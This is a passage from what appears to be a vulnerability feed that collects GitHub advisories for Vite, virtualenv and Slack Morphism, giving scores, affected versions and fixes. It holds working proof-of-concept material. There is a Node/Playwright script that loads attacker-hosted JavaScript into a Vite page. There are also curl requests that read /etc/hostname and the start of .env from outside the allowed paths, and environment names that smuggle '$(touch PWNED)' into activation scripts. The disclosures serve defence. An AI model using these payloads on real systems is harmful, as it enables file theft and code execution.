 pathToFileURL(require.resolve('vite')).href
)
const createViteServer =
 viteModule.createServer ?? viteModule.default.createServer

// This loopback server stands in for a separately hosted attacker website.
const attackerPort = 4173
const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`
const html = ''

const listen = (server, port = 0) =>
 new Promise((resolve, reject) => {
 server.once('error', reject)
 server.listen(port, '127.0.0.1', () => {
 server.off('error', reject)
 resolve(server.address().port)
 })
 })

const close = (server) =>
 new Promise((resolve, reject) => {
 server.close((error) => (error ? reject(error) : resolve()))
 })

let attackerRequest = null
const attacker = createHttpServer((request, response) => {
 attackerRequest = request.url
 response.writeHead(200, {
 'access-control-allow-origin': '*',
 'content-type': 'text/javascript',
 })
 response.end(
 "document.documentElement.dataset.viteXssPoc = 'executed'",
 )
})

const vite = await createViteServer({
 appType: 'custom',
 configFile: false,
 root: directory,
 server: {
 hmr: false,
 middlewareMode: true,
 watch: null,
 },
})

const application = createHttpServer((request, response) => {
 vite.middlewares(request, response, async (error) => {
 if (error) {
 response.destroy(error)
 return
 }

 try {
 const transformed = await vite.transformIndexHtml(request.url, html)
 response.writeHead(200, { 'content-type': 'text/html' })
 response.end(transformed)
 } catch (transformError) {
 response.destroy(transformError)
 }
 })
})

await listen(attacker, attackerPort)
const applicationPort = await listen(application)
const browser = await chromium.launch({ headless: true })

try {
 const page = await browser.newPage()
 await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`)
 await page.waitForFunction(
 () => document.documentElement.dataset.viteXssPoc === 'executed',
 )

 console.log(`attacker request: ${attackerRequest}`)
 console.log('JavaScript from the attacker server executed in the Vite page')
} finally {
 await browser.close()
 await close(application)
 await vite.close()
 await close(attacker)
}
```

Observed output on Vite 8.2.1:
```text
attacker request: /payload.js?/../../package.json?html-proxy&index=0.js
JavaScript from the attacker server executed in the Vite page
```

Affected package ranges reported by GitHub:
vite: >= 8.3.0, <= 8.3.2
vite: >= 8.2.0, <= 8.2.3
vite: >= 8.0.0, <= 8.1.5
vite: >= 7.0.0, <= 7.3.6
vite: <= 6.4.3
vite-plus: <= 1.0.0
Action: GitHub lists first patched versions: vite: 8.3.3; vite: 8.2.4; vite: 8.1.6; vite: 7.3.7; vite: 6.4.4; vite-plus: 1.1.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vite: Files outside `server.fs.allow` could be served when project paths match system paths on non-Windows machine
https://kevwire.com/record/CVE-2026-112946
Vite: Files outside `server.fs.allow` could be served when project paths match system paths on non-Windows machine (Oct 21, 2026).
The content of files outside `server.fs` setting can be returned to the browser if the project imports a file path concatenated with the `root`. For example, if the project references ` /etc/hosts`, the content of `/etc/hosts` was possible to be returned.

The content of files outside the `server.fs.allow` option can be returned to the browser when a project imports a file whose root-relative path matches an absolute path on the host. For example, referencing ` /etc/hosts` could make Vite return the host's `/etc/hosts` file.
CVSS 6.3 (version 4.0; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-rq7h-c2jc-7f22).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112946&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-rq7h-c2jc-7f22: https://github.com/advisories/GHSA-rq7h-c2jc-7f22
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112946&date=2026-10-25
### Summary

The content of files outside `server.fs` setting can be returned to the browser if the project imports a file path concatenated with the `root`. For example, if the project references ` /etc/hosts`, the content of `/etc/hosts` was possible to be returned.

The content of files outside the `server.fs.allow` option can be returned to the browser when a project imports a file whose root-relative path matches an absolute path on the host. For example, referencing ` /etc/hosts` could make Vite return the host's `/etc/hosts` file.

### Impact

Only apps that meet all of the following conditions are affected:

- explicitly expose the Vite dev server to the network (using `--host` or the [`server.host` option](https://vite.dev/config/server-options#server-host))
- contain an imported file whose root-relative browser URL is also the absolute path of a readable file on the host
- The sensitive file is not matched by [`server.fs.deny`](https://vite.dev/config/server-options#server-fs-deny)
- the dev server is not running on Windows

### Details

When Vite analyzes an in-root import, it rewrites the resolved module ID to a browser URL such as `/etc/hostname`. In affected versions, Vite converts that URL with `fsPathFromUrl` and adds the result to `safeModulePaths`. Because `fsPathFromUrl` ensures a leading slash without resolving the URL against the project root, the project URL `/etc/hostname` is recorded as if it were the absolute filesystem path `/etc/hostname`.

For a later request to `/@fs/etc/hostname`, the raw-filesystem middleware interprets `/etc/hostname` as an absolute path. The access check applies `server.fs.deny`, then accepts paths present in `safeModulePaths` before checking `server.fs.allow`. As a result, the request can return the host file instead of the project file that originally populated `safeModulePaths`.

### PoC
The following example requires Linux with a readable `/etc/hostname`:
```bash
$ mkdir vite-safe-module-path-poc
$ cd vite-safe-module-path-poc
$ npm init -y
$ npm install vite@8.3.1
$ mkdir -p etc
$ echo 'PROJECT-DECOY\n' > etc/hostname
$ echo 'import "./etc/hostname"\n' > main.js
$ npx vite --host 127.0.0.1
```

In another terminal:
```bash
$ curl -o /dev/null -s -w '%{http_code}\n' http://127.0.0.1:5173/main.js
200
$ curl -sS -o response -w '%{http_code}\n' http://127.0.0.1:5173/@fs/etc/hostname
200
$ cmp -s response /etc/hostname && echo 'response matches host file'
response matches host file
```

Affected package ranges reported by GitHub:
vite: >= 8.3.0, <= 8.3.2
vite: >= 8.2.0, <= 8.2.3
vite: >= 8.0.0, <= 8.1.5
vite: >= 7.0.0, <= 7.3.6
vite: <= 6.4.3
vite-plus: <= 1.0.0
Action: GitHub lists first patched versions: vite: 8.3.3; vite: 8.2.4; vite: 8.1.6; vite: 7.3.7; vite: 6.4.4; vite-plus: 1.1.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vite: First 4 bytes of files outside of `server.fs` setting is exposed by `?vite-wasm-instance`
https://kevwire.com/record/CVE-2026-112947
Vite: First 4 bytes of files outside of `server.fs` setting is exposed by `?vite-wasm-instance` (Oct 21, 2026).
The first 4 bytes of files outside of `server.fs` setting can be returned to the browser by a request containing `?vite-wasm-instance`.

 Only apps that match one of the following conditions are affected:
CVSS 6.3 (version 4.0; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-vfpm-58rq-9qcg).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112947&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-vfpm-58rq-9qcg: https://github.com/advisories/GHSA-vfpm-58rq-9qcg
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112947&date=2026-10-25
### Summary

The first 4 bytes of files outside of `server.fs` setting can be returned to the browser by a request containing `?vite-wasm-instance`.

### Impact

 Only apps that match one of the following conditions are affected:

- explicitly expose the Vite dev server to the network using `--host` or the [`server.host`](https://vite.dev/config/server-options#server-host) option
- there's a file that has a sensitive information in **the first 4 bytes**
- uses Node.js or Deno to run Vite (if Bun is used, it is not affected)

### Details
Requests containing the `?vite-wasm-instance` query are handled by the internal Wasm plugin's `load` hook. The hook removes the query and reads the resulting path directly from disk, but the `server.fs` checks were not applied.

After reading the file, Vite attempts to parse it as WebAssembly. When that parse fails, Node and deno throws an error that contains the first 4 bytes of the file.

### PoC

Create a denied file and start an affected Vite dev server:

```bash
echo 'SECRET_KEY=abc123\n' > .env
npm run dev
curl 'http://localhost:5173/.env?vite-wasm-instance'
```

This will show
```
Failed to parse WASM file " /.env": WebAssembly.compile(): expected magic word 00 61 73 6d, found 53 45 43 52 @+0
```

Affected package ranges reported by GitHub:
vite: >= 8.3.0, <= 8.3.2
vite: >= 8.2.0, <= 8.2.3
vite-plus: >= 0.2.8, <= 1.0.0
Action: GitHub lists first patched versions: vite: 8.3.3; vite: 8.2.4; vite-plus: 1.1.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### virtualenv activate runs commands from the environment name in zsh with PROMPT_SUBST
https://kevwire.com/record/CVE-2026-113726
virtualenv activate runs commands from the environment name in zsh with PROMPT_SUBST (Oct 21, 2026).
zsh users activate an environment with the bash `activate` script, which puts the environment name into `PS1`. Since
21.13.0 the script escapes backslashes, dollar signs and backticks in that name, but only when `BASH_VERSION` is set, so
zsh gets the raw value. With the `PROMPT_SUBST` option set, zsh runs parameter expansion, command substitution and
arithmetic expansion on `PS1` each time it draws the prompt. A name that contains `$(...)`, backticks or `${...}` then
runs as commands in the user's shell, once per prompt.

The name comes from the environment directory, or from `--prompt` or `VIRTUALENV_PROMPT`. After you create an
environment with:
CVSS 7.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113726).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113726&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-5vjq-rrrf-7h2q: https://github.com/advisories/GHSA-5vjq-rrrf-7h2q
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
NVD CVE-2026-113726: https://nvd.nist.gov/vuln/detail/CVE-2026-113726
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113726&date=2026-10-25
### Impact

zsh users activate an environment with the bash `activate` script, which puts the environment name into `PS1`. Since
21.13.0 the script escapes backslashes, dollar signs and backticks in that name, but only when `BASH_VERSION` is set, so
zsh gets the raw value. With the `PROMPT_SUBST` option set, zsh runs parameter expansion, command substitution and
arithmetic expansion on `PS1` each time it draws the prompt. A name that contains `$(...)`, backticks or `${...}` then
runs as commands in the user's shell, once per prompt.

The name comes from the environment directory, or from `--prompt` or `VIRTUALENV_PROMPT`. After you create an
environment with:

```console
$ virtualenv 'x$(touch PWNED)y'
```

`source 'x$(touch PWNED)y/bin/activate'` in a zsh session with `PROMPT_SUBST` set creates `PWNED`, and the prompt shows
`(xy)`. Passing that value as `--prompt` to an environment with a plain name has the same effect. Without
`PROMPT_SUBST`, zsh shows the name as text and runs nothing. bash runs nothing either.

A plain zsh starts with `PROMPT_SUBST` off. oh-my-zsh users have it on: oh-my-zsh loads
[`lib/theme-and-appearance.zsh`](https://github.com/ohmyzsh/ohmyzsh/blob/4d4cfc287e9d887b81242c0e431b5f49f9cec5c1/lib/theme-and-appearance.zsh#L5)
at startup, and that file sets it. An attacker needs to influence the environment path or prompt: a CI job or wrapper
tool that passes a branch, project or job name through, or a directory in a cloned repository or unpacked archive.
`--prompt .` takes the current directory's name.

zsh also reads `%` in `PS1` as a prompt escape, so a name with `%n` showed the user name in place of those characters,
though without running commands.

The bug is in releases up to and including 21.14.3. The payload runs on 20.26.6 and 21.14.3, and the reporter confirmed
21.9.1.

### Patches

Fixed in 21.14.4. Under zsh, `activate` now escapes the name the way it does under bash and doubles
`%`, so the example above runs nothing and the prompt shows the name as given. zsh gets the escaping even when
`PROMPT_SUBST` is off, because a user can set the option after activation; a name with a backslash, dollar sign or
backtick then shows the added backslashes.
Fix: https://github.com/pypa/virtualenv/commit/5b915367da82bd024b2a0d28d2f98007034b4aa2

### Workarounds

Set `VIRTUAL_ENV_DISABLE_PROMPT=1` before you source `activate`, which leaves `PS1` alone, or run
`unsetopt prompt_subst` if your prompt does not need it. Check the name of an environment you did not create before you
source its `activate`.

### Credits

Kaya Emre Arikan (@kemrec) reported this issue.

Affected package ranges reported by GitHub:
virtualenv: <= 21.14.3
Action: GitHub lists first patched versions: virtualenv: 21.14.4. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### virtualenv activate.fish runs commands from a path or prompt with a backslash before a quote
https://kevwire.com/record/CVE-2026-113732
virtualenv activate.fish runs commands from a path or prompt with a backslash before a quote (Oct 21, 2026).
`FishActivator` defines no `quote()`, so it inherits `ViaTemplateActivator.quote`, which returns `shlex.quote(string)`. That function follows POSIX `sh` rules, where a backslash inside single quotes stays a literal character. fish reads `\'` inside single quotes as an escaped quote and `\\` as an escaped backslash. A value with a backslash before a quote therefore ends the literal somewhere other than where `shlex.quote` put the end, and fish expands the command substitution that follows.

The environment path reaches `set -gx VIRTUAL_ENV`, and `--prompt` or `VIRTUALENV_PROMPT` reaches `set -gx VIRTUAL_ENV_PROMPT`. For `--prompt "x\'\$(touch PWNED)'\'"`, the generated `activate.fish` contains:
CVSS 7.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113732).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113732&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-c947-3pg5-gm8q: https://github.com/advisories/GHSA-c947-3pg5-gm8q
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
NVD CVE-2026-113732: https://nvd.nist.gov/vuln/detail/CVE-2026-113732
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113732&date=2026-10-25
### Impact

`FishActivator` defines no `quote()`, so it inherits `ViaTemplateActivator.quote`, which returns `shlex.quote(string)`. That function follows POSIX `sh` rules, where a backslash inside single quotes stays a literal character. fish reads `\'` inside single quotes as an escaped quote and `\\` as an escaped backslash. A value with a backslash before a quote therefore ends the literal somewhere other than where `shlex.quote` put the end, and fish expands the command substitution that follows.

The environment path reaches `set -gx VIRTUAL_ENV`, and `--prompt` or `VIRTUALENV_PROMPT` reaches `set -gx VIRTUAL_ENV_PROMPT`. For `--prompt "x\'\$(touch PWNED)'\'"`, the generated `activate.fish` contains:

```fish
set -gx VIRTUAL_ENV_PROMPT 'x\'"'"'$(touch PWNED)'"'"'\'"'"''
```

`source bin/activate.fish` runs `touch PWNED`, and fish prints no error. The same payload as a directory name runs through `VIRTUAL_ENV`. `--prompt .` takes the current directory's name, so running virtualenv inside a directory someone else named is enough. Without the backslash the payload runs nothing, and under bash it runs nothing either.

virtualenv generates `activate.fish` by default. An attacker needs to influence the environment path or prompt: a CI job or wrapper tool that passes a branch, project or job name through, or a directory in a cloned repository or unpacked archive.

The bug affects every release up to 21.14.1 that ships `activate.fish`. The GHSA-p58f-9548-mpm2 fix in 21.7.13 moved the placeholders outside their quotes but kept `shlex.quote`.

### Patches

Fixed in 21.14.2. `activate.fish` now escapes backslashes and single quotes the way fish reads them, so the example above runs nothing and shows the prompt as given. Fix: https://github.com/pypa/virtualenv/commit/3bddeaf8d02c3ee7f576503efb082f8f494cfcab

### Workarounds

Do not create an environment whose path or prompt contains a backslash, and inspect `activate.fish` before you source one you did not create.

### Credits

Kevin Stubbings (@Kwstubbs) of GitHub Security Lab reported this issue.

Affected package ranges reported by GitHub:
virtualenv: <= 21.14.1
Action: GitHub lists first patched versions: virtualenv: 21.14.2. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### virtualenv activation scripts run code from a path that contains a placeholder name
https://kevwire.com/record/CVE-2026-113776
virtualenv activation scripts run code from a path that contains a placeholder name (Oct 21, 2026).
`ViaTemplateActivator.instantiate_template` replaces the placeholders in an activation template one key at a time, each across the whole text. When a value that it already substituted and quoted contains the name of a later placeholder, the later pass rewrites that name inside the quoted literal. The inserted value brings its own quotes, which close the outer literal, and the rest of the path runs as code when a user activates the environment.

`__VIRTUAL_NAME__` holds the environment's directory name, so a destination such as `A__VIRTUAL_NAME__B/x'$(touch PWNED)'y` is enough. In the default `activate` for bash, the `VIRTUAL_ENV` line renders as:
CVSS 7.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113776).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113776&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-8rjx-v5ww-45pp: https://github.com/advisories/GHSA-8rjx-v5ww-45pp
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
NVD CVE-2026-113776: https://nvd.nist.gov/vuln/detail/CVE-2026-113776
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113776&date=2026-10-25
### Impact

`ViaTemplateActivator.instantiate_template` replaces the placeholders in an activation template one key at a time, each across the whole text. When a value that it already substituted and quoted contains the name of a later placeholder, the later pass rewrites that name inside the quoted literal. The inserted value brings its own quotes, which close the outer literal, and the rest of the path runs as code when a user activates the environment.

`__VIRTUAL_NAME__` holds the environment's directory name, so a destination such as `A__VIRTUAL_NAME__B/x'$(touch PWNED)'y` is enough. In the default `activate` for bash, the `VIRTUAL_ENV` line renders as:

```sh
VIRTUAL_ENV='/tmp/t/A'x'"'"'$(touch PWNED)'"'"'y'B/x'"'"'$(touch PWNED)'"'"'y'
```

Sourcing that script runs `touch PWNED`. The same payload in a path without the placeholder name runs nothing. `activate.fish` runs the command the same way, and the reporter also showed Python code execution through `activate.xsh` and `bin/activate_this.py`. In `activate.csh`, a directory named after a prompt display placeholder, such as `__VIRTUAL_PROMPT_DISPLAY_TCSH__`, breaks the script with `Unmatched '''`.

No change to `quote()` can stop this, because the rewrite happens after `quote()` ran; it defeats `shlex.quote` and `repr()` alike.

An attacker needs to influence the destination path or `--prompt`: a CI job or wrapper tool that builds the path from a branch or project name, or a directory in a cloned repository or unpacked archive.

The bug affects versions 20.26.6 through 21.14.1. Version 20.26.6 first quoted template values (#2768) and introduced the per-key loop.

### Patches

Fixed in 21.14.2. Activation scripts now keep a placeholder name in the environment's path or prompt as plain text, and activating the example above runs nothing. Fix: https://github.com/pypa/virtualenv/commit/602b26623a724827ff171bf11fef4ad186d01f74

### Workarounds

Do not create an environment whose path or `--prompt` contains a placeholder name such as `__VIRTUAL_NAME__`, `__VIRTUAL_ENV__` or `__VIRTUAL_PROMPT__`, and inspect the generated activation script before you source one you did not create.

### Credits

Kevin Stubbings (@Kwstubbs) of GitHub Security Lab reported this issue.

Affected package ranges reported by GitHub:
virtualenv: >= 20.26.6, <= 21.14.1
Action: GitHub lists first patched versions: virtualenv: 21.14.2. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Slack Morphism verifier errors disclose valid HMACs in the logs
https://kevwire.com/record/CVE-2026-113799
Slack Morphism verifier errors disclose valid HMACs in the logs (Oct 21, 2026).
Slack Morphism exposes the correct Slack request HMAC when signature verification fails.

For an invalid request, `slack-morphism` computes the correct signature for the attacker-controlled timestamp and request body and stores it in `SlackEventWrongSignatureError.generated_hash`. The error's `Debug` and `Display` representations expose that value, and the default Axum listener error handler logs it at error level.
CVSS 5.3 (version 3.1; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-26w4-8w32-4x3v).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113799&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-26w4-8w32-4x3v: https://github.com/advisories/GHSA-26w4-8w32-4x3v
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
